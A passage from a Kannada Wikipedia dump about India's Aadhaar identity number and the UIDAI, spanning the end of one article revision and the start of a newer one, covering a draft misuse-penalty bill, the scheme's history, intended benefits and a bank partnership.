ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] 06v0uop18g1pri46vkx2ixupoow9uat 1116525 1116524 2022-08-23T16:02:16Z ChiK 40016 wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[ಭಾರತ]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[Ministry of Electronics and Information Technology]], [[India]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ.<ref name=AboutUIDAI>{{cite web|title=About UIDAI|url=https://uidai.gov.in/about-uidai/about-uidai.html|publisher=UIDAI|access-date=25 July 2017}}</ref> ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ == ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ (UIDAI) ಒಂದು ಶಾಸನಬದ್ಧ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಸರ್ಕಾರಿ ಇಲಾಖೆಯಾಗಿದ್ದು, ಆಧಾರ್ ಕಾಯಿದೆ 2016 ರ ನಿಬಂಧನೆಗಳನ್ನು ಅನುಸರಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯದ ವ್ಯಾಪ್ತಿಯ ಅಡಿಯಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು 12 ಜುಲೈ 2016 ರಂದು ಸ್ಥಾಪಿಸಲಾಗಿದೆ.<ref name=AboutUIDAI/> == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID 